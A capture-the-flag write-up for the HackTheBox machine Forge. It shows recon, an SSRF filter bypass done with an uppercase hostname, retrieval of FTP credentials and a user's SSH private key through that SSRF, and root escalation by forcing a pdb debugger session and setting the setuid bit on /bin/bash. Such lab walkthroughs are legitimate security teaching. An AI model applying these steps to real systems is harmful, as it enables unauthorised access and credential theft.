Forge HackTheBox Write-up| Forge hack the box Walk through | 10.10.11.111 | forge.htb
Recon
NMAP
# Nmap 7.91 scan initiated Sun Sep 12 14:21:47 2021 as: nmap -sC -sV -oA forge -Pn 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.21s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 12 14:22:14 2021–1 IP address (1 host up) scanned in 27.09 seconds
Host enum
ffuf -w /usr/share/SecLists/Discovery/DNS/shubs-subdomains.txt -u http://forge.htb/ -H “Host: FUZZ.forge.htb” -t 200 -fl 10
ffuf -w /usr/share/SecLists/Discovery/DNS/shubs-subdomains.txt -u http://forge.htb/ -H “Host: FUZZ.forge.htb” -t 200 -fl 10
/’___\ /’___\ /’___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/v1.3.1 Kali Exclusive ❤
________________________________________________:: Method : GET
:: URL : http://forge.htb/
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/shubs-subdomains.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response lines: 10
________________________________________________admin [Status: 200, Size: 27, Words: 4, Lines: 2]
found subdomain called admin
On visiting the subdomain I was presented with the below image.
if we go to forge.htb/uploads endpoint we can see interesting option to upload files via link
if we try to access 127.0.0.1 from here we gests blacklisted domian
same for the admin.forge.htb
but we can easily byepass this by using admin.forge.htb in all caps
so after doing this we curl this link using curl cmd in terminal
curl http://forge.htb/uploads/R7Dl5h466PkWBgNjh0mx
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel=”stylesheet” type=”text/css” href=”/static/css/main.css”>
<header>
<nav>
<h1 class=””><a href=”/”>Portal home</a></h1>
<h1 class=”align-right margin-right”><a href=”/announcements”>Announcements</a></h1>
<h1 class=”align-right”><a href=”/upload”>Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
so we view this endpoint found a directory called /announcements
http://ADMIN.FORGE.HTB/announcements
after curl this link we got something interesting
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel=”stylesheet” type=”text/css” href=”/static/css/main.css”>
<link rel=”stylesheet” type=”text/css” href=”/static/css/announcements.css”>
<header>
<nav>
<h1 class=””><a href=”/”>Portal home</a></h1>
<h1 class=”align-right margin-right”><a href=”/announcements”>Announcements</a></h1>
<h1 class=”align-right”><a href=”/upload”>Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
and we have interesting stuff
An internal ftp server has been setup with credentials as user:heightofsecuirty123!
The /upload endpoint now supports ftp,ftps,http amd https protocols for uploding form url
The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image , one can simply pass a url with ?u=.
lest try to access ftp by passing the ftp url in get param to the admin vhost
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB
and we can content of ftp
curl http://forge.htb/uploads/igC8Bofx57rB3iW9B8Hc
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r — — — 1 0 1000 33 Sep 16 04:22 user.txt
so this must be the home directory for the user so we checked the ssh key and found it .
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa
and we got that ssh key
for now w only have one username wiche us user we found this from the ftp so lets try ssh with this username
ssh -i id_rsa user@forge.htb
after ssh in we get user flag fater get user flag we trying for root we see that we can run a script a root
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$
lest cat remote-manage.py file
cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdbport = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((‘127.0.0.1’, port))
sock.listen(1)
print(f’Listening on localhost:{port}’)
(clientsock, addr) = sock.accept()
clientsock.send(b’Enter the secret passsword: ‘)
if clientsock.recv(1024).strip().decode() != ‘secretadminpassword’:
clientsock.send(b’Wrong password!\n’)
else:
clientsock.send(b’Welcome admin!\n’)
while True:
clientsock.send(b’\nWhat do you wanna do: \n’)
clientsock.send(b’[1] View processes\n’)
clientsock.send(b’[2] View free memory\n’)
clientsock.send(b’[3] View listening sockets\n’)
clientsock.send(b’[4] Quit\n’)
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput(‘ps aux’).encode())
elif option == 2:
clientsock.send(subprocess.getoutput(‘df’).encode())
elif option == 3:
clientsock.send(subprocess.getoutput(‘ss -lnt’).encode())
elif option == 4:
clientsock.send(b’Bye\n’)
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
We can clearly see that if we manage to create some error so we go to the except handler inside Python Debugger and as we running it as root so we can easily execute command with os module in the system.For that we need two ssh connection one is for start the server and second is for connect to the server.
1st ssh connection i run this cmd
sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:22894
and 2nd ssh connection i run this cmd
nc localhost 22894
nc localhost 22894
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:22894
invalid literal for int() with base 10: b’ADITYACHAUHAN’
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system(‘chmod u+s /bin/bash’)
0
(Pdb) exit
user@forge:~$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
d8f05b442d22cebde2e
bash-5.0#
and we got root flag